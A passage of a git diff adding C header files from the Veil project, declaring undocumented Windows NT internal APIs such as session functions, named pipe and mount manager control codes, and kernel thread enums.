+NtCancelWaitCompletionPacket( + _In_ HANDLE WaitCompletionPacketHandle, + _In_ BOOLEAN RemoveSignaledPacket +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCancelWaitCompletionPacket( + _In_ HANDLE WaitCompletionPacketHandle, + _In_ BOOLEAN RemoveSignaledPacket +); +#endif + +// +// Sessions +// + +#ifndef _KERNEL_MODE +typedef enum _IO_SESSION_EVENT +{ + IoSessionEventIgnore, + IoSessionEventCreated, + IoSessionEventTerminated, + IoSessionEventConnected, + IoSessionEventDisconnected, + IoSessionEventLogon, + IoSessionEventLogoff, + IoSessionEventMax +} IO_SESSION_EVENT; + +typedef enum _IO_SESSION_STATE +{ + IoSessionStateCreated = 1, + IoSessionStateInitialized = 2, + IoSessionStateConnected = 3, + IoSessionStateDisconnected = 4, + IoSessionStateDisconnectedLoggedOn = 5, + IoSessionStateLoggedOn = 6, + IoSessionStateLoggedOff = 7, + IoSessionStateTerminated = 8, + IoSessionStateMax +} IO_SESSION_STATE; +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenSession( + _Out_ PHANDLE SessionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenSession( + _Out_ PHANDLE SessionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeSession( + _In_ HANDLE SessionHandle, + _In_ ULONG ChangeSequenceNumber, + _In_ PLARGE_INTEGER ChangeTimeStamp, + _In_ IO_SESSION_EVENT Event, + _In_ IO_SESSION_STATE NewState, + _In_ IO_SESSION_STATE PreviousState, + _In_reads_bytes_opt_(PayloadSize) PVOID Payload, + _In_ ULONG PayloadSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwNotifyChangeSession( + _In_ HANDLE SessionHandle, + _In_ ULONG ChangeSequenceNumber, + _In_ PLARGE_INTEGER ChangeTimeStamp, + _In_ IO_SESSION_EVENT Event, + _In_ IO_SESSION_STATE NewState, + _In_ IO_SESSION_STATE PreviousState, + _In_reads_bytes_opt_(PayloadSize) PVOID Payload, + _In_ ULONG PayloadSize +); +#endif + +// +// Other types +// + +#ifndef _KERNEL_MODE +// +// Define the I/O bus interface types. +// +typedef enum _INTERFACE_TYPE +{ + InterfaceTypeUndefined = -1, + Internal = 0, + Isa = 1, + Eisa = 2, + MicroChannel = 3, + TurboChannel = 4, + PCIBus = 5, + VMEBus = 6, + NuBus = 7, + PCMCIABus = 8, + CBus = 9, + MPIBus = 10, + MPSABus = 11, + ProcessorInternal = 12, + InternalPowerBus = 13, + PNPISABus = 14, + PNPBus = 15, + Vmcs = 16, + ACPIBus = 17, + MaximumInterfaceType +} INTERFACE_TYPE, * PINTERFACE_TYPE; + +// +// Define the DMA transfer widths. +// + +typedef enum _DMA_WIDTH +{ + Width8Bits, + Width16Bits, + Width32Bits, + Width64Bits, + WidthNoWrap, + MaximumDmaWidth +} DMA_WIDTH, * PDMA_WIDTH; + +// +// Define DMA transfer speeds. +// + +typedef enum _DMA_SPEED +{ + Compatible, + TypeA, + TypeB, + TypeC, + TypeF, + MaximumDmaSpeed +} DMA_SPEED, * PDMA_SPEED; + +typedef enum _BUS_DATA_TYPE +{ + ConfigurationSpaceUndefined = -1, + Cmos, + EisaConfiguration, + Pos, + CbusConfiguration, + PCIConfiguration, + VMEConfiguration, + NuBusConfiguration, + PCMCIAConfiguration, + MPIConfiguration, + MPSAConfiguration, + PNPISAConfiguration, + SgiInternalConfiguration, + MaximumBusDataType +} BUS_DATA_TYPE, * PBUS_DATA_TYPE; +#endif // !_KERNEL_MODE + +// +// Control structures +// + +#ifndef _KERNEL_MODE +// Reparse structure for FSCTL_SET_REPARSE_POINT, FSCTL_GET_REPARSE_POINT, FSCTL_DELETE_REPARSE_POINT + +#define SYMLINK_FLAG_RELATIVE 0x00000001 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS4) +#define SYMLINK_DIRECTORY 0x80000000 // If set then this is a directory symlink +#define SYMLINK_FILE 0x40000000 // If set then this is a file symlink +#endif + +typedef struct _REPARSE_DATA_BUFFER +{ + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + + _Field_size_bytes_(ReparseDataLength) + union + { + struct + { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + ULONG Flags; + WCHAR PathBuffer[1]; + } SymbolicLinkReparseBuffer; + struct + { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + WCHAR PathBuffer[1]; + } MountPointReparseBuffer; + struct + { + UCHAR DataBuffer[1]; + } GenericReparseBuffer; + }; +} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; + +#define REPARSE_DATA_BUFFER_HEADER_SIZE UFIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer) + +#endif // !_KERNEL_MODE + +// Named pipe FS control definitions + +#define DEVICE_NAMED_PIPE L"\\Device\\NamedPipe\\" + +#ifndef _KERNEL_MODE +#define FSCTL_PIPE_ASSIGN_EVENT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 0, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_DISCONNECT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 1, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_LISTEN CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_PEEK CTL_CODE(FILE_DEVICE_NAMED_PIPE, 3, METHOD_BUFFERED, FILE_READ_DATA) +#define FSCTL_PIPE_QUERY_EVENT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 4, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_TRANSCEIVE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 5, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA) +#define FSCTL_PIPE_WAIT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 6, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_IMPERSONATE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 7, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SET_CLIENT_PROCESS CTL_CODE(FILE_DEVICE_NAMED_PIPE, 8, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_QUERY_CLIENT_PROCESS CTL_CODE(FILE_DEVICE_NAMED_PIPE, 9, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_GET_PIPE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 10, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SET_PIPE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 11, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_GET_CONNECTION_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 12, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SET_CONNECTION_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 13, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_GET_HANDLE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 14, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SET_HANDLE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 15, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_FLUSH CTL_CODE(FILE_DEVICE_NAMED_PIPE, 16, METHOD_BUFFERED, FILE_WRITE_DATA) +#define FSCTL_PIPE_DISABLE_IMPERSONATE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 17, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SILO_ARRIVAL CTL_CODE(FILE_DEVICE_NAMED_PIPE, 18, METHOD_BUFFERED, FILE_WRITE_DATA) +#define FSCTL_PIPE_CREATE_SYMLINK CTL_CODE(FILE_DEVICE_NAMED_PIPE, 19, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_PIPE_DELETE_SYMLINK CTL_CODE(FILE_DEVICE_NAMED_PIPE, 20, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_PIPE_QUERY_CLIENT_PROCESS_V2 CTL_CODE(FILE_DEVICE_NAMED_PIPE, 21, METHOD_BUFFERED, FILE_ANY_ACCESS) + +#define FSCTL_PIPE_INTERNAL_READ CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2045, METHOD_BUFFERED, FILE_READ_DATA) +#define FSCTL_PIPE_INTERNAL_WRITE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2046, METHOD_BUFFERED, FILE_WRITE_DATA) +#define FSCTL_PIPE_INTERNAL_TRANSCEIVE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2047, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA) +#define FSCTL_PIPE_INTERNAL_READ_OVFLOW CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2048, METHOD_BUFFERED, FILE_READ_DATA) + +// Flags for query event + +#define FILE_PIPE_READ_DATA 0x00000000 +#define FILE_PIPE_WRITE_SPACE 0x00000001 + +// Input for FSCTL_PIPE_ASSIGN_EVENT +typedef struct _FILE_PIPE_ASSIGN_EVENT_BUFFER +{ + HANDLE EventHandle; + ULONG KeyValue; +} FILE_PIPE_ASSIGN_EVENT_BUFFER, * PFILE_PIPE_ASSIGN_EVENT_BUFFER; + +// Output for FILE_PIPE_PEEK_BUFFER +typedef struct _FILE_PIPE_PEEK_BUFFER +{ + ULONG NamedPipeState; + ULONG ReadDataAvailable; + ULONG NumberOfMessages; + ULONG MessageLength; + CHAR Data[1]; +} FILE_PIPE_PEEK_BUFFER, * PFILE_PIPE_PEEK_BUFFER; + +// Output for FSCTL_PIPE_QUERY_EVENT +typedef struct _FILE_PIPE_EVENT_BUFFER +{ + ULONG NamedPipeState; + ULONG EntryType; + ULONG ByteCount; + ULONG KeyValue; + ULONG NumberRequests; +} FILE_PIPE_EVENT_BUFFER, * PFILE_PIPE_EVENT_BUFFER; + +// Input for FSCTL_PIPE_WAIT +typedef struct _FILE_PIPE_WAIT_FOR_BUFFER +{ + LARGE_INTEGER Timeout; + ULONG NameLength; + BOOLEAN TimeoutSpecified; + WCHAR Name[1]; +} FILE_PIPE_WAIT_FOR_BUFFER, * PFILE_PIPE_WAIT_FOR_BUFFER; + +// Input for FSCTL_PIPE_SET_CLIENT_PROCESS, Output for FSCTL_PIPE_QUERY_CLIENT_PROCESS +typedef struct _FILE_PIPE_CLIENT_PROCESS_BUFFER +{ +#if !defined(BUILD_WOW6432) + PVOID ClientSession; + PVOID ClientProcess; +#else + ULONGLONG ClientSession; + ULONGLONG ClientProcess; +#endif +} FILE_PIPE_CLIENT_PROCESS_BUFFER, * PFILE_PIPE_CLIENT_PROCESS_BUFFER; + +// Control structure for FSCTL_PIPE_QUERY_CLIENT_PROCESS_V2 + +typedef struct _FILE_PIPE_CLIENT_PROCESS_BUFFER_V2 +{ + ULONGLONG ClientSession; +#if !defined(BUILD_WOW6432) + PVOID ClientProcess; +#else + ULONGLONG ClientProcess; +#endif +} FILE_PIPE_CLIENT_PROCESS_BUFFER_V2, * PFILE_PIPE_CLIENT_PROCESS_BUFFER_V2; + +#define FILE_PIPE_COMPUTER_NAME_LENGTH 15 + +// Input for FSCTL_PIPE_SET_CLIENT_PROCESS, Output for FSCTL_PIPE_QUERY_CLIENT_PROCESS +typedef struct _FILE_PIPE_CLIENT_PROCESS_BUFFER_EX +{ +#if !defined(BUILD_WOW6432) + PVOID ClientSession; + PVOID ClientProcess; +#else + ULONGLONG ClientSession; + ULONGLONG ClientProcess; +#endif + USHORT ClientComputerNameLength; // in bytes + WCHAR ClientComputerBuffer[FILE_PIPE_COMPUTER_NAME_LENGTH + 1]; // null-terminated +} FILE_PIPE_CLIENT_PROCESS_BUFFER_EX, * PFILE_PIPE_CLIENT_PROCESS_BUFFER_EX; + +// Control structure for FSCTL_PIPE_SILO_ARRIVAL + +typedef struct _FILE_PIPE_SILO_ARRIVAL_INPUT +{ + HANDLE JobHandle; +} FILE_PIPE_SILO_ARRIVAL_INPUT, * PFILE_PIPE_SILO_ARRIVAL_INPUT; + +// +// Flags for create symlink +// + +// +// A global symlink will cause resolution of the symlink's target to occur in +// the host silo (i.e. not in any current silo). For example, if there is a +// symlink at \Device\Silos\37\Device\NamedPipe\symlink then the target will be +// resolved as \Device\NamedPipe\target instead of \Device\Silos\37\Device\NamedPipe\target +// +#define FILE_PIPE_SYMLINK_FLAG_GLOBAL 0x1 + +// +// A relative symlink will cause resolution of the symlink's target to occur relative +// to the root of the named pipe file system. For example, if there is a symlink at +// \Device\NamedPipe\symlink that has a target called "target", then the target will +// be resolved as \Device\NamedPipe\target +// +#define FILE_PIPE_SYMLINK_FLAG_RELATIVE 0x2 + +#define FILE_PIPE_SYMLINK_VALID_FLAGS \ + (FILE_PIPE_SYMLINK_FLAG_GLOBAL | FILE_PIPE_SYMLINK_FLAG_RELATIVE) + +// Control structure for FSCTL_PIPE_CREATE_SYMLINK + +typedef struct _FILE_PIPE_CREATE_SYMLINK_INPUT +{ + USHORT NameOffset; + USHORT NameLength; + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + ULONG Flags; +} FILE_PIPE_CREATE_SYMLINK_INPUT, * PFILE_PIPE_CREATE_SYMLINK_INPUT; + +// Control structure for FSCTL_PIPE_DELETE_SYMLINK + +typedef struct _FILE_PIPE_DELETE_SYMLINK_INPUT +{ + USHORT NameOffset; + USHORT NameLength; +} FILE_PIPE_DELETE_SYMLINK_INPUT, * PFILE_PIPE_DELETE_SYMLINK_INPUT; +#endif // !_KERNEL_MODE + +// Mailslot FS control definitions + +#define MAILSLOT_CLASS_FIRSTCLASS 1 +#define MAILSLOT_CLASS_SECONDCLASS 2 + +#define FSCTL_MAILSLOT_PEEK CTL_CODE(FILE_DEVICE_MAILSLOT, 0, METHOD_NEITHER, FILE_READ_DATA) + +// Output for FSCTL_MAILSLOT_PEEK +typedef struct _FILE_MAILSLOT_PEEK_BUFFER +{ + ULONG ReadDataAvailable; + ULONG NumberOfMessages; + ULONG MessageLength; +} FILE_MAILSLOT_PEEK_BUFFER, * PFILE_MAILSLOT_PEEK_BUFFER; + +// Mount manager FS control definitions + +#define MOUNTMGR_DEVICE_NAME L"\\Device\\MountPointManager" +#define MOUNTMGRCONTROLTYPE 0x0000006D // 'm' +#define MOUNTDEVCONTROLTYPE 0x0000004D // 'M' + +#define IOCTL_MOUNTMGR_CREATE_POINT CTL_CODE(MOUNTMGRCONTROLTYPE, 0, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_DELETE_POINTS CTL_CODE(MOUNTMGRCONTROLTYPE, 1, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_QUERY_POINTS CTL_CODE(MOUNTMGRCONTROLTYPE, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_MOUNTMGR_DELETE_POINTS_DBONLY CTL_CODE(MOUNTMGRCONTROLTYPE, 3, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_NEXT_DRIVE_LETTER CTL_CODE(MOUNTMGRCONTROLTYPE, 4, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_AUTO_DL_ASSIGNMENTS CTL_CODE(MOUNTMGRCONTROLTYPE, 5, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_VOLUME_MOUNT_POINT_CREATED CTL_CODE(MOUNTMGRCONTROLTYPE, 6, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_VOLUME_MOUNT_POINT_DELETED CTL_CODE(MOUNTMGRCONTROLTYPE, 7, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_CHANGE_NOTIFY CTL_CODE(MOUNTMGRCONTROLTYPE, 8, METHOD_BUFFERED, FILE_READ_ACCESS) +#define IOCTL_MOUNTMGR_KEEP_LINKS_WHEN_OFFLINE CTL_CODE(MOUNTMGRCONTROLTYPE, 9, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_CHECK_UNPROCESSED_VOLUMES CTL_CODE(MOUNTMGRCONTROLTYPE, 10, METHOD_BUFFERED, FILE_READ_ACCESS) +#define IOCTL_MOUNTMGR_VOLUME_ARRIVAL_NOTIFICATION CTL_CODE(MOUNTMGRCONTROLTYPE, 11, METHOD_BUFFERED, FILE_READ_ACCESS) +#define IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATH CTL_CODE(MOUNTMGRCONTROLTYPE, 12, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATHS CTL_CODE(MOUNTMGRCONTROLTYPE, 13, METHOD_BUFFERED, FILE_ANY_ACCESS) + +#define IOCTL_MOUNTDEV_QUERY_DEVICE_NAME CTL_CODE(MOUNTDEVCONTROLTYPE, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) + +// Input structure for IOCTL_MOUNTMGR_CREATE_POINT. +typedef struct _MOUNTMGR_CREATE_POINT_INPUT +{ + USHORT SymbolicLinkNameOffset; + USHORT SymbolicLinkNameLength; + USHORT DeviceNameOffset; + USHORT DeviceNameLength; +} MOUNTMGR_CREATE_POINT_INPUT, * PMOUNTMGR_CREATE_POINT_INPUT; + +// Input structure for IOCTL_MOUNTMGR_DELETE_POINTS, IOCTL_MOUNTMGR_QUERY_POINTS, and IOCTL_MOUNTMGR_DELETE_POINTS_DBONLY. +typedef struct _MOUNTMGR_MOUNT_POINT +{ + ULONG SymbolicLinkNameOffset; + USHORT SymbolicLinkNameLength; + USHORT Reserved1; + ULONG UniqueIdOffset; + USHORT UniqueIdLength; + USHORT Reserved2; + ULONG DeviceNameOffset; + USHORT DeviceNameLength; + USHORT Reserved3; +} MOUNTMGR_MOUNT_POINT, * PMOUNTMGR_MOUNT_POINT; + +// Output structure for IOCTL_MOUNTMGR_DELETE_POINTS, IOCTL_MOUNTMGR_QUERY_POINTS, and IOCTL_MOUNTMGR_DELETE_POINTS_DBONLY. +typedef struct _MOUNTMGR_MOUNT_POINTS +{ + ULONG Size; + ULONG NumberOfMountPoints; + MOUNTMGR_MOUNT_POINT MountPoints[1]; +} MOUNTMGR_MOUNT_POINTS, * PMOUNTMGR_MOUNT_POINTS; + +// Input structure for IOCTL_MOUNTMGR_NEXT_DRIVE_LETTER. +typedef struct _MOUNTMGR_DRIVE_LETTER_TARGET +{ + USHORT DeviceNameLength; + WCHAR DeviceName[1]; +} MOUNTMGR_DRIVE_LETTER_TARGET, * PMOUNTMGR_DRIVE_LETTER_TARGET; + +// Output structure for IOCTL_MOUNTMGR_NEXT_DRIVE_LETTER. +typedef struct _MOUNTMGR_DRIVE_LETTER_INFORMATION +{ + BOOLEAN DriveLetterWasAssigned; + UCHAR CurrentDriveLetter; +} MOUNTMGR_DRIVE_LETTER_INFORMATION, * PMOUNTMGR_DRIVE_LETTER_INFORMATION; + +// Input structure for IOCTL_MOUNTMGR_VOLUME_MOUNT_POINT_CREATED and +// IOCTL_MOUNTMGR_VOLUME_MOUNT_POINT_DELETED. +typedef struct _MOUNTMGR_VOLUME_MOUNT_POINT +{ + USHORT SourceVolumeNameOffset; + USHORT SourceVolumeNameLength; + USHORT TargetVolumeNameOffset; + USHORT TargetVolumeNameLength; +} MOUNTMGR_VOLUME_MOUNT_POINT, * PMOUNTMGR_VOLUME_MOUNT_POINT; + +// Input structure for IOCTL_MOUNTMGR_CHANGE_NOTIFY. +// Output structure for IOCTL_MOUNTMGR_CHANGE_NOTIFY. +typedef struct _MOUNTMGR_CHANGE_NOTIFY_INFO +{ + ULONG EpicNumber; +} MOUNTMGR_CHANGE_NOTIFY_INFO, * PMOUNTMGR_CHANGE_NOTIFY_INFO; + +// Input structure for IOCTL_MOUNTMGR_KEEP_LINKS_WHEN_OFFLINE, +// IOCTL_MOUNTMGR_VOLUME_ARRIVAL_NOTIFICATION, +// IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATH, and +// IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATHS. +// IOCTL_MOUNTMGR_PREPARE_VOLUME_DELETE +// IOCTL_MOUNTMGR_CANCEL_VOLUME_DELETE +typedef struct _MOUNTMGR_TARGET_NAME +{ + USHORT DeviceNameLength; + WCHAR DeviceName[1]; +} MOUNTMGR_TARGET_NAME, * PMOUNTMGR_TARGET_NAME; + +// Macro that defines what a "drive letter" mount point is. This macro can +// be used to scan the result from QUERY_POINTS to discover which mount points +// are find "drive letter" mount points. +#define MOUNTMGR_IS_DRIVE_LETTER(s) ( \ + (s)->Length == 28 && \ + (s)->Buffer[0] == '\\' && \ + (s)->Buffer[1] == 'D' && \ + (s)->Buffer[2] == 'o' && \ + (s)->Buffer[3] == 's' && \ + (s)->Buffer[4] == 'D' && \ + (s)->Buffer[5] == 'e' && \ + (s)->Buffer[6] == 'v' && \ + (s)->Buffer[7] == 'i' && \ + (s)->Buffer[8] == 'c' && \ + (s)->Buffer[9] == 'e' && \ + (s)->Buffer[10] == 's' && \ + (s)->Buffer[11] == '\\' && \ + (s)->Buffer[12] >= 'A' && \ + (s)->Buffer[12] <= 'Z' && \ + (s)->Buffer[13] == ':') + +// Macro that defines what a "volume name" mount point is. This macro can +// be used to scan the result from QUERY_POINTS to discover which mount points +// are "volume name" mount points. +#define MOUNTMGR_IS_VOLUME_NAME(s) ( \ + ((s)->Length == 96 || ((s)->Length == 98 && (s)->Buffer[48] == '\\')) && \ + (s)->Buffer[0] == '\\' && \ + ((s)->Buffer[1] == '?' || (s)->Buffer[1] == '\\') && \ + (s)->Buffer[2] == '?' && \ + (s)->Buffer[3] == '\\' && \ + (s)->Buffer[4] == 'V' && \ + (s)->Buffer[5] == 'o' && \ + (s)->Buffer[6] == 'l' && \ + (s)->Buffer[7] == 'u' && \ + (s)->Buffer[8] == 'm' && \ + (s)->Buffer[9] == 'e' && \ + (s)->Buffer[10] == '{' && \ + (s)->Buffer[19] == '-' && \ + (s)->Buffer[24] == '-' && \ + (s)->Buffer[29] == '-' && \ + (s)->Buffer[34] == '-' && \ + (s)->Buffer[47] == '}') + +// Output structure for IOCTL_MOUNTDEV_QUERY_DEVICE_NAME. +typedef struct _MOUNTDEV_NAME +{ + USHORT NameLength; + WCHAR Name[1]; +} MOUNTDEV_NAME, * PMOUNTDEV_NAME; + +// Output structure for IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATH and IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATHS. +typedef struct _MOUNTMGR_VOLUME_PATHS +{ + ULONG MultiSzLength; + WCHAR MultiSz[1]; +} MOUNTMGR_VOLUME_PATHS, * PMOUNTMGR_VOLUME_PATHS; + +#define MOUNTMGR_IS_DOS_VOLUME_NAME(s) ( \ + MOUNTMGR_IS_VOLUME_NAME(s) && \ + (s)->Length == 96 && \ + (s)->Buffer[1] == '\\') + +#define MOUNTMGR_IS_DOS_VOLUME_NAME_WB(s) ( \ + MOUNTMGR_IS_VOLUME_NAME(s) && \ + (s)->Length == 98 && \ + (s)->Buffer[1] == '\\') + +#define MOUNTMGR_IS_NT_VOLUME_NAME(s) ( \ + MOUNTMGR_IS_VOLUME_NAME(s) && \ + (s)->Length == 96 && \ + (s)->Buffer[1] == '?') + +#define MOUNTMGR_IS_NT_VOLUME_NAME_WB(s) ( \ + MOUNTMGR_IS_VOLUME_NAME(s) && \ + (s)->Length == 98 && \ + (s)->Buffer[1] == '?') + +// +// Only Kernel +// + +#ifdef _KERNEL_MODE + +// Driver + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +IoCreateDriver( + _In_opt_ PUNICODE_STRING DriverName, + _In_ PDRIVER_INITIALIZE InitializationFunction +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +IoDeleteDriver( + _In_ PDRIVER_OBJECT DriverObject +); + +#endif // _KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.KernelCore.h b/include/Veil/Veil/Veil.System.KernelCore.h new file mode 100644 index 0000000..8de5825 --- /dev/null +++ b/include/Veil/Veil/Veil.System.KernelCore.h @@ -0,0 +1,360 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +#ifndef _KERNEL_MODE +#define LOW_PRIORITY 0 // Lowest thread priority level +#define LOW_REALTIME_PRIORITY 16 // Lowest realtime priority level +#define HIGH_PRIORITY 31 // Highest thread priority level +#define MAXIMUM_PRIORITY 32 // Number of thread priority levels +#endif // !_KERNEL_MODE + +// private +typedef enum _KTHREAD_STATE +{ + Initialized, + Ready, + Running, + Standby, + Terminated, + Waiting, + Transition, + DeferredReady, + GateWaitObsolete, + WaitingForProcessInSwap, + MaximumThreadState +} KTHREAD_STATE, * PKTHREAD_STATE; + +// private +typedef enum _KHETERO_CPU_POLICY +{ + KHeteroCpuPolicyAll, + KHeteroCpuPolicyLarge, + KHeteroCpuPolicyLargeOrIdle, + KHeteroCpuPolicySmall, + KHeteroCpuPolicySmallOrIdle, + KHeteroCpuPolicyDynamic, + KHeteroCpuPolicyStaticMax, + KHeteroCpuPolicyBiasedSmall, + KHeteroCpuPolicyBiasedLarge, + KHeteroCpuPolicyDefault, + KHeteroCpuPolicyMax +} KHETERO_CPU_POLICY, * PKHETERO_CPU_POLICY; + +#ifndef _KERNEL_MODE +// +// Wait reasons +// + +typedef enum _KWAIT_REASON +{ + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + WrKeyedEvent, + WrTerminated, + WrProcessInSwap, + WrCpuRateControl, + WrCalloutStack, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + WrAlertByThreadId, + WrDeferredPreempt, + WrPhysicalFault, + WrIoRing, + WrMdlCache, + MaximumWaitReason +} KWAIT_REASON, * PKWAIT_REASON; + +// +// Profile source types +// + +typedef enum _KPROFILE_SOURCE +{ + ProfileTime, + ProfileAlignmentFixup, + ProfileTotalIssues, + ProfilePipelineDry, + ProfileLoadInstructions, + ProfilePipelineFrozen, + ProfileBranchInstructions, + ProfileTotalNonissues, + ProfileDcacheMisses, + ProfileIcacheMisses, + ProfileCacheMisses, + ProfileBranchMispredictions, + ProfileStoreInstructions, + ProfileFpInstructions, + ProfileIntegerInstructions, + Profile2Issue, + Profile3Issue, + Profile4Issue, + ProfileSpecialInstructions, + ProfileTotalCycles, + ProfileIcacheIssues, + ProfileDcacheAccesses, + ProfileMemoryBarrierCycles, + ProfileLoadLinkedIssues, + ProfileMaximum +} KPROFILE_SOURCE; +#endif // !_KERNEL_MODE + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCallbackReturn( + _In_reads_bytes_opt_(OutputLength) PVOID OutputBuffer, + 